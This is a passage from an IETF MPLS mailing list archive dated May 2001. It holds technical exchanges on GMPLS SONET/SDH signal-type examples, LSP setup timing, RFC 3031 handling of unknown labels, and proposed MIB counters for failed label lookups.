To: "'Eric.Mannie@ebone.com'" <Eric.Mannie@ebone.com>
Cc: "'ccamp@ops.ietf.org'" <ccamp@ops.ietf.org>,
        "'mpls@UU.NET'"
	 <mpls@UU.NET>
Subject: Editorial comments on draft-ietf-ccamp-gmpls-sonet-sdh-00.txt 
Date: Wed, 23 May 2001 15:09:50 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi ALL,
I noticed the following in section 4 of
draft-ietf-ccamp-gmpls-sonet-sdh-00.txt .

 The example number 16 is ...

16. An STS-48c signal with LOH DCC and E2 transparency is formed
   by the application of CCT with Type 1, NCC with value 48, NVC with
   value 0, MT with value 1 and T with flag 5 and 10 to an STS-48
   Elementary Signal.

It should be 

   An STS-48c signal with LOH DCC and E2 transparency is formed
   by the application of CCT with Type 1, NCC with value 48, NVC with
   value 0, MT with value 1 and T with flag 5 and 10 to an STS-1 SPE
   Elementary Signal.

The example number 17 is ...

17. An STS-768c signal with K1/K2 and LOH DCC transparency is
   formed by the application of CCT with Type 1, NCC with value 768,
   NVC with value 0, MT with value 1 and T with flag 5 and 7 to an
   STS-768 Elementary Signal.

It should be 

   An STS-768c signal with K1/K2 and LOH DCC transparency is
   formed by the application of CCT with Type 1, NCC with value 768,
   NVC with value 0, MT with value 1 and T with flag 5 and 7 to an
   STS-1 SPE Elementary Signal.

Regards
-Sayan







From owner-mpls@UU.NET  Wed May 23 15:16:31 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA12477
	for <mpls-archive@lists.ietf.org>; Wed, 23 May 2001 15:16:31 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqhg15133;
	Wed, 23 May 2001 19:14:59 GMT
Received: by mail-control.mail.uu.net 
	id QQkqhg13044
	for mpls-outgoing; Wed, 23 May 2001 19:14:26 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkqhg13025
	for <mpls@mail-control.mail.uu.net>; Wed, 23 May 2001 19:14:20 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkqhg21407
	for <mpls@UU.NET>; Wed, 23 May 2001 19:13:29 GMT
Received: from kiri.meretrix.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: dsl027-137-008.nyc1.dsl.speakeasy.net [216.27.137.8])
	id QQkqhg14368
	for <mpls@UU.NET>; Wed, 23 May 2001 19:13:25 GMT
Received: from kiri.meretrix.com (harry@localhost)
	by kiri.meretrix.com (8.11.0/8.11.0) with ESMTP id f4NJC2C25805;
	Wed, 23 May 2001 15:12:02 -0400
Message-Id: <200105231912.f4NJC2C25805@kiri.meretrix.com>
To: John Drake <jdrake@calient.net>
cc: "'Adam Shepherd'" <AS@dataconnection.com>, ccamp@ops.ietf.org, mpls@UU.NET
Subject: Re: Timing of the upstream data path establishment 
In-Reply-To: Your message of "Wed, 23 May 2001 08:50:33 PDT."
             <A1AFE5CF886C5D439494D9D5DE84EEF3737041@radiant.chromisys.com> 
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-ID: <25803.990645121.1@kiri.meretrix.com>
Date: Wed, 23 May 2001 15:12:02 -0400
From: Harry Mantakos <harry@meretrix.com>
Sender: owner-mpls@UU.NET
Precedence: bulk

>I don't think that this is an issue.  Suggested label allows a node to begin
>to establish the forward direction as it progresses the Path message.  Since
>it controls the labels in the reverse direction, it can also begin to
>establish the reverse direction concurrently.

As I understand it, suggested label allows a single node to do
whatever hardware preparation is required for the upstream and
downstream data flows in parallel, but this preparation is
still necessarily done at each node in the path sequentially.
If it takes 'T' time to prep hardware for a single direction at a
single node, and there are 'N' nodes, you're looking at something
on the order of TN to establish the LSP. In the absence of suggested
label, you'd be looking at something like 2TN.

The suggested "3-way handshake" allows "preparation" to be done
at all nodes in the path in parallel. The circuit establishment
time can be reduced to something on the order of T (assuming suggested
label was chosen).
-harry


From owner-mpls@UU.NET  Wed May 23 15:29:59 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA12806
	for <mpls-archive@lists.ietf.org>; Wed, 23 May 2001 15:29:58 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqhh19921;
	Wed, 23 May 2001 19:27:48 GMT
Received: by mail-control.mail.uu.net 
	id QQkqhh14227
	for mpls-outgoing; Wed, 23 May 2001 19:27:16 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkqhh14218
	for <mpls@mail-control.mail.uu.net>; Wed, 23 May 2001 19:27:05 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqhh02811
	for <mpls@UU.NET>; Wed, 23 May 2001 19:26:27 GMT
Received: from sandmail.sandburst.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandburst-gw.bstn-gw02.ma.us.intelilink.net [216.57.129.34])
	id QQkqhh19402
	for <mpls@UU.NET>; Wed, 23 May 2001 19:26:27 GMT
Received: from sandburst.com (pediment.sandburst.com [172.16.5.210])
	by sandmail.sandburst.com (Postfix) with ESMTP
	id 3601794006; Wed, 23 May 2001 15:26:27 -0400 (EDT)
Message-ID: <3B0C0EE3.30D25A00@sandburst.com>
Date: Wed, 23 May 2001 15:26:27 -0400
From: Eric Gray <eric.gray@sandburst.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-22smp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: David Charlap <david.charlap@marconi.com>
Cc: MPLS Mailing List <mpls@UU.NET>
Subject: Re: What to do when label has error?
References: <F118yY0QUUBPcZi71mr0001acbe@hotmail.com> <003001c0e375$b8cd1260$150d85a5@dti.daewoo.co.kr> <3B0BCA23.C9DA581B@marconi.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

David,

    One more comment, in addition to what I have already said
in response to this post.  Please see below.

You wrote:

> Akshat Kapoor wrote:
> >
> >     Refer to rfc 3031 section 3.18 and 3.22. If the LSR can
> > determine through some external means that forwarding the packet is
> > not going to result in a loop (or any other harm) than it can
> > forward the packet.
>
> And this is a big IF.  When LDP or CR-LDP are used to signal the LSP, a
> transit router has no way of knowing for certain if the payload contains
> IP packets or something else.  (RSVP-TE carries the L3 protocol ID in
> the LABEL_REQUEST objects, so transit routers should know if the payload
> is IP or not, assuming that the ingress node didn't lie about it.)

And this is a big assumption.  Even if it is true, however, the use of
the protocol ID is pretty much intended to be a secret shared between
end points since the intention is that the packets are routed along an
explicitly determined path - rather than as they might be routed using
any particular L3 protocol.  RFC 3031 does explicitly state that there
is a risk of looping packets if they are partially transported on an LSP
that is explicitly routed.

>
>
> > Otherwise it MUST drop the packet.  The rfc is silent about
> > generating ICMP messages in such a situation.
>
> ICMP is only meaningful if the payload is IP.  If it's something else,
> ICMP would be completely inappropriate.
>
> -- David

--
Eric




From owner-mpls@UU.NET  Wed May 23 16:32:56 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA14350
	for <mpls-archive@lists.ietf.org>; Wed, 23 May 2001 16:32:56 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqhl24356;
	Wed, 23 May 2001 20:28:31 GMT
Received: by mail-control.mail.uu.net 
	id QQkqhl09173
	for mpls-outgoing; Wed, 23 May 2001 20:27:57 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkqhl09150
	for <mpls@mail-control.mail.uu.net>; Wed, 23 May 2001 20:27:46 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkqhl20602
	for <mpls@uu.net>; Wed, 23 May 2001 20:27:23 GMT
Received: from sj-msg-core-2.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-2.cisco.com [171.69.24.11])
	id QQkqhl21810
	for <mpls@uu.net>; Wed, 23 May 2001 20:27:22 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f4NKRMU13177
	for <mpls@uu.net>; Wed, 23 May 2001 13:27:22 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id QAA04707 for mpls@uu.net; Wed, 23 May 2001 16:27:20 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkqhk07148
	for <mpls@mail-control.mail.uu.net>; Wed, 23 May 2001 20:09:16 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqhk10162
	for <mpls@UU.NET>; Wed, 23 May 2001 20:08:54 GMT
Received: from smtp1.gtsgroup.com by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: smtp1.gtsgroup.com [195.158.230.16])
	id QQkqhk16485
	for <mpls@UU.NET>; Wed, 23 May 2001 20:08:54 GMT
Received: from 207.77.231.73 by smtp1.gtsgroup.com (InterScan E-Mail VirusWall NT); Wed, 23 May 2001 21:59:02 +0200 (W. Europe Daylight Time)
Received: by brubhdpnt01.gtsgroup.com with Internet Mail Service (5.5.2653.19)
	id <LNY2JQ42>; Wed, 23 May 2001 22:07:40 +0200
Message-ID: <D52BF6463BA3D311BFA700508B63C5AA04214642@brumsgpnt01.gtsgroup.com>
From: "Mannie, Eric" <Eric.Mannie@ebone.com>
To: "'Saha, Sayandeb'" <ssaha@netplane.com>
Cc: "'ccamp@ops.ietf.org'" <ccamp@ops.ietf.org>,
        "'mpls@UU.NET'"
	 <mpls@UU.NET>
Subject: RE: Editorial comments on draft-ietf-ccamp-gmpls-sonet-sdh-00.txt
Date: Wed, 23 May 2001 22:07:40 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Dear Sayan,

Thanks for the comments. However note that when requesting transparency for
an STS-48 signal for instance, the signal type to use is STS-48. You cant'
concatenate STS-1's since concatenation of STS-1 is not defined, but
concatenation of STS-1 SPE's is. If you ask the concatenation of 48 x STS-1
SPE's you are not speaking about the frame with its overhead, so you cannot
request transparency. So we took the decision to use well defined signal
types when requesting transparency (e.g. STS-48). And we took the convention
to indicate in NCC the number of SPE's in that signal that must be
concatenated. It took us some time to find a way to code each possible
signal in a non ambiguous way. So I the original examples are correct.

Kind regards,

Eric

-----Original Message-----
From: Saha, Sayandeb [mailto:ssaha@netplane.com]
Sent: Wednesday, May 23, 2001 9:10 PM
To: Mannie, Eric
Cc: 'ccamp@ops.ietf.org'; 'mpls@UU.NET'
Subject: Editorial comments on draft-ietf-ccamp-gmpls-sonet-sdh-00.txt 


Hi ALL,
I noticed the following in section 4 of
draft-ietf-ccamp-gmpls-sonet-sdh-00.txt .

 The example number 16 is ...

16. An STS-48c signal with LOH DCC and E2 transparency is formed
   by the application of CCT with Type 1, NCC with value 48, NVC with
   value 0, MT with value 1 and T with flag 5 and 10 to an STS-48
   Elementary Signal.

It should be 

   An STS-48c signal with LOH DCC and E2 transparency is formed
   by the application of CCT with Type 1, NCC with value 48, NVC with
   value 0, MT with value 1 and T with flag 5 and 10 to an STS-1 SPE
   Elementary Signal.

The example number 17 is ...

17. An STS-768c signal with K1/K2 and LOH DCC transparency is
   formed by the application of CCT with Type 1, NCC with value 768,
   NVC with value 0, MT with value 1 and T with flag 5 and 7 to an
   STS-768 Elementary Signal.

It should be 

   An STS-768c signal with K1/K2 and LOH DCC transparency is
   formed by the application of CCT with Type 1, NCC with value 768,
   NVC with value 0, MT with value 1 and T with flag 5 and 7 to an
   STS-1 SPE Elementary Signal.

Regards
-Sayan






From owner-mpls@UU.NET  Wed May 23 17:47:00 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA16024
	for <mpls-archive@lists.ietf.org>; Wed, 23 May 2001 17:46:59 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqhr08081;
	Wed, 23 May 2001 21:45:22 GMT
Received: by mail-control.mail.uu.net 
	id QQkqhq06439
	for mpls-outgoing; Wed, 23 May 2001 21:44:46 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkqhq06414
	for <mpls@mail-control.mail.uu.net>; Wed, 23 May 2001 21:44:26 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkqhq26494
	for <mpls@UU.NET>; Wed, 23 May 2001 21:44:14 GMT
Received: from mailgate.pit.comms.marconi.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQkqhq06551
	for <mpls@UU.NET>; Wed, 23 May 2001 21:44:13 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id RAA19755
	for <mpls@UU.NET>; Wed, 23 May 2001 17:44:08 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id RAA21073
	for <mpls@UU.NET>; Wed, 23 May 2001 17:43:48 -0400 (EDT)
Message-ID: <3B0C2F12.9BB8901F@marconi.com>
Date: Wed, 23 May 2001 17:43:46 -0400
From: David Charlap <david.charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: What to do when label has error?
References: <F118yY0QUUBPcZi71mr0001acbe@hotmail.com> <003001c0e375$b8cd1260$150d85a5@dti.daewoo.co.kr> <3B0BCA23.C9DA581B@marconi.com> <3B0BEE79.37FE8BE2@sandburst.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Eric Gray wrote:
> 
>     LDP only supports IPv4 and IPv6 FECs, consequently it should
> be fair to assume that packets transported using such an LSP are
> either IPv4 packets, IPv6 packets, or (hierarchically) MPLS labeled
> packets enroute to a known IP (v4 or v6) address.  This is the case,
> because an LDP-based LSP will move around based on IPv4 (and,
> someday, IPv6) routing therefore, the packets transported MUST
> be destination addressed as expected if there is only one label.

Who is to say that LDP is the only protocol running on the switch?

You can't look at a label and know what protoco it should have come
from.  So you still can not determine that an unknown label is being
used to wrap IP traffic.

-- David


From owner-mpls@UU.NET  Wed May 23 17:58:16 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA16191
	for <mpls-archive@lists.ietf.org>; Wed, 23 May 2001 17:58:16 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqhr20495;
	Wed, 23 May 2001 21:54:54 GMT
Received: by mail-control.mail.uu.net 
	id QQkqhr07857
	for mpls-outgoing; Wed, 23 May 2001 21:54:20 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkqhr07809
	for <mpls@mail-control.mail.uu.net>; Wed, 23 May 2001 21:54:07 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkqhr04694
	for <mpls@UU.NET>; Wed, 23 May 2001 21:53:57 GMT
Received: from mailgate.pit.comms.marconi.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQkqhr13366
	for <mpls@UU.NET>; Wed, 23 May 2001 21:53:57 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id RAA20392
	for <mpls@UU.NET>; Wed, 23 May 2001 17:53:50 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id RAA23331
	for <mpls@UU.NET>; Wed, 23 May 2001 17:53:52 -0400 (EDT)
Message-ID: <3B0C316E.9507203E@marconi.com>
Date: Wed, 23 May 2001 17:53:50 -0400
From: David Charlap <david.charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: What to do when label has error?
References: <F118yY0QUUBPcZi71mr0001acbe@hotmail.com> <3B0BCB11.2948CC73@marconi.com> <3B0BF1F2.657B97C9@sandburst.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Eric Gray wrote:
> 
>     I agree with the 'spirit' of what you are saying, however, an
> ILM and no NHLFE makes no sense.

I agree.  But Section 3.22 of RFC 3031 describes that exact situation. 
And this section tells implementors to drop such traffic unless the
switch can ensure that the data can be properly forwarded without
looping.

I am assuming that the situation described ("the ILM does not map the
packet's incoming label into an NHLFE") is different from "there is no
ILM for the label".

>     For example, many implementations might use a 'default' NHLFE
> which looks, acts and even quacks like a bit-bucket.  This would
> allow them to have a useful ILM when there is no useable next hop
> information at the time.  But such an implementation may also have
> a set of NHLFEs that are more sophisticated.

If a default NHLFE is created for every ILM, then the situation
described will never happen.  But I question the usefulness of having
default NHLFEs.  They are likely to create situations where packets will
loop, or the router may try to forward non-IP traffic as if it was IP.

(Yes, I am aware that LDP doesn't support non-IP traffic.  But RFC 3031
is not LDP.  And the concepts of ILM and NHLFE are forwarding, not
signaling concepts.)

-- David


From owner-mpls@UU.NET  Wed May 23 18:14:24 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA16443
	for <mpls-archive@lists.ietf.org>; Wed, 23 May 2001 18:14:24 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqhs06389;
	Wed, 23 May 2001 22:11:44 GMT
Received: by mail-control.mail.uu.net 
	id QQkqhs26300
	for mpls-outgoing; Wed, 23 May 2001 22:11:09 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkqhs26196
	for <mpls@mail-control.mail.uu.net>; Wed, 23 May 2001 22:11:02 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkqhs17817
	for <mpls@UU.NET>; Wed, 23 May 2001 22:10:41 GMT
Received: from sandmail.sandburst.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandburst-gw.bstn-gw02.ma.us.intelilink.net [216.57.129.34])
	id QQkqhs10676
	for <mpls@UU.NET>; Wed, 23 May 2001 22:10:41 GMT
Received: from sandburst.com (pediment.sandburst.com [172.16.5.210])
	by sandmail.sandburst.com (Postfix) with ESMTP
	id CABDA9400A; Wed, 23 May 2001 18:10:40 -0400 (EDT)
Message-ID: <3B0C3560.CE3AAD7F@sandburst.com>
Date: Wed, 23 May 2001 18:10:40 -0400
From: Eric Gray <eric.gray@sandburst.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-22smp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: David Charlap <david.charlap@marconi.com>
Cc: mpls@UU.NET
Subject: Re: What to do when label has error?
References: <F118yY0QUUBPcZi71mr0001acbe@hotmail.com> <003001c0e375$b8cd1260$150d85a5@dti.daewoo.co.kr> <3B0BCA23.C9DA581B@marconi.com> <3B0BEE79.37FE8BE2@sandburst.com> <3B0C2F12.9BB8901F@marconi.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

David,

    You're right in saying that context is important.  So why do you
comment on my remarks out of context?

    Earlier, you replied to Akshat Kapoor who said


> > >     Refer to rfc 3031 section 3.18 and 3.22. If the LSR can
> > > determine through some external means that forwarding the packet is
> > > not going to result in a loop (or any other harm) than it can
> > > forward the packet.
> >
>

- by saying -

> > And this is a big IF.  When LDP or CR-LDP are used to signal the LSP, a
> > transit router has no way of knowing for certain if the payload contains
> > IP packets or something else.  (RSVP-TE carries the L3 protocol ID in
> > the LABEL_REQUEST objects, so transit routers should know if the payload
> > is IP or not, assuming that the ingress node didn't lie about it.)
>

I replied::

> >
> >     LDP only supports IPv4 and IPv6 FECs, consequently it should
> > be fair to assume that packets transported using such an LSP are
> > either IPv4 packets, IPv6 packets, or (hierarchically) MPLS labeled
> > packets enroute to a known IP (v4 or v6) address.  This is the case,
> > because an LDP-based LSP will move around based on IPv4 (and,
> > someday, IPv6) routing therefore, the packets transported MUST
> > be destination addressed as expected if there is only one label.

To which you said:

>
>
> Who is to say that LDP is the only protocol running on the switch?
>
> You can't look at a label and know what protoco it should have come
> from.  So you still can not determine that an unknown label is being
> used to wrap IP traffic.
>
> -- David

You said "when LDP or CR-LDP are used to signal <an> LSP,
a transit router has no way of knowing for certain if the payload
contains IP packets or something else.

For labels signaled using LDP, this is plainly false.  There is no
context in which my statement to you can be interpreted to mean
that I believe that an LSR can interpret any unknown label to mean
anything at all.  In fact, I said pretty near exactly that on a separate
posting, in which I said (exactly):

"I believe what you are getting at is that an LSR that gets a label
it knows nothing about will discard the packet.  This I agree with."

Please do not attempt to put silly words in my mouth for me - I can
do that well enough on my own.  :-)

--
Eric Gray

--
Eric Gray



From owner-mpls@UU.NET  Wed May 23 18:48:58 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA16929
	for <mpls-archive@lists.ietf.org>; Wed, 23 May 2001 18:48:57 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqhm14784;
	Wed, 23 May 2001 20:42:08 GMT
Received: by mail-control.mail.uu.net 
	id QQkqhm10212
	for mpls-outgoing; Wed, 23 May 2001 20:41:36 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkqhm10173
	for <mpls@mail-control.mail.uu.net>; Wed, 23 May 2001 20:41:14 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqhm01089
	for <mpls@UU.NET>; Wed, 23 May 2001 20:39:03 GMT
Received: from WATERTOWN.litchfieldcomm.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: 60.190.252.64.snet.net [64.252.190.60])
	id QQkqhm29200
	for <mpls@UU.NET>; Wed, 23 May 2001 20:39:03 GMT
content-class: urn:content-classes:message
Subject: MPLS-TE and MPLS-LSR MIB - Failed Label lookup suggestions/questions
MIME-Version: 1.0
Date: Wed, 23 May 2001 16:37:52 -0400
Content-Type: text/plain;
	charset="iso-8859-1"
Message-ID: <0E2DFCE7E586904DA0F583CB5EAD73CC031386@WATERTOWN.litchfieldcomm.com>
X-MimeOLE: Produced By Microsoft Exchange V6.0.4417.0
Thread-Topic: MPLS-TE and MPLS-LSR MIB - Failed Label lookup suggestions/questions
Thread-Index: AcDjyD1gYrqWep0DSP+fuHpiyUFwLA==
From: "Dave Danenberg" <dave_danenberg@litchfieldcomm.com>
To: <tnadeau@cisco.com>, <cheenu@tachion.com>
Cc: <mpls@UU.NET>, <Davidz@corrigent.com>
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id SAA16929

Hi,

1) The MPLS-LSR-MIB has a means of counting failed label lookup
questions (via mplsInterfaceFailedLookup). I would think it handy to
also supply the actual label that failed. This could be a new (optional)
object: mplsInterfaceLastFailedLookup (SYNTAX MplsLabel). 

2) Let's say a packet arrives at an MPLS interface. The top label lookup
is OK and the packet is destined for this node so the label is popped.
Now there is one more label which directs the exposed packet to a
specific local port. This inner label fails the lookup. So I would think
it handy to have  two new (optional) objects in the MPLS-TE-MIB
MplsTunnelPerf table: mplsTunnelPerfFailedLookup and
mplsTunnelPerfLastFailedLookup.

What do you think?

--Dave

Litchfield Communications Inc.
www.litchfieldcomm.com

Princeton Building East
76 Westbury Park Rd
Watertown CT 06795 USA

Tel: (860) 945 1573 x3180
Fax: (860) 945 1578


From owner-mpls@UU.NET  Wed May 23 19:01:06 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA17190
	for <mpls-archive@lists.ietf.org>; Wed, 23 May 2001 19:01:05 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqhw14033;
	Wed, 23 May 2001 23:00:25 GMT
Received: by mail-control.mail.uu.net 
	id QQkqhv05247
	for mpls-outgoing; Wed, 23 May 2001 22:59:37 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkqhv05227
	for <mpls@mail-control.mail.uu.net>; Wed, 23 May 2001 22:59:20 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkqhv26640
	for <mpls@UU.NET>; Wed, 23 May 2001 22:59:06 GMT
Received: from sandmail.sandburst.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandburst-gw.bstn-gw02.ma.us.intelilink.net [216.57.129.34])
	id QQkqhv17076
	for <mpls@UU.NET>; Wed, 23 May 2001 22:59:06 GMT
Received: from sandburst.com (pediment.sandburst.com [172.16.5.210])
	by sandmail.sandburst.com (Postfix) with ESMTP
	id E599794006; Wed, 23 May 2001 18:59:05 -0400 (EDT)
Message-ID: <3B0C40B9.49F51BD2@sandburst.com>
Date: Wed, 23 May 2001 18:59:05 -0400
From: Eric Gray <eric.gray@sandburst.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-22smp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: David Charlap <david.charlap@marconi.com>
Cc: mpls@UU.NET
Subject: Re: What to do when label has error?
References: <F118yY0QUUBPcZi71mr0001acbe@hotmail.com> <3B0BCB11.2948CC73@marconi.com> <3B0BF1F2.657B97C9@sandburst.com> <3B0C316E.9507203E@marconi.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

David Charlap wrote:

> Eric Gray wrote:
> >
> >     I agree with the 'spirit' of what you are saying, however, an
> > ILM and no NHLFE makes no sense.
>
> I agree.  But Section 3.22 of RFC 3031 describes that exact situation.
> And this section tells implementors to drop such traffic unless the
> switch can ensure that the data can be properly forwarded without
> looping.

Personally, I think that the specific wording you refer to
somewhat over-steps the bounds of what an architecture
specification should do because it makes assumptions that
depend on a specific implementation.  It does it, I feel sure,
for a good reason - which is to try to keep the description
simple.

One way that same text could have been phrased is:

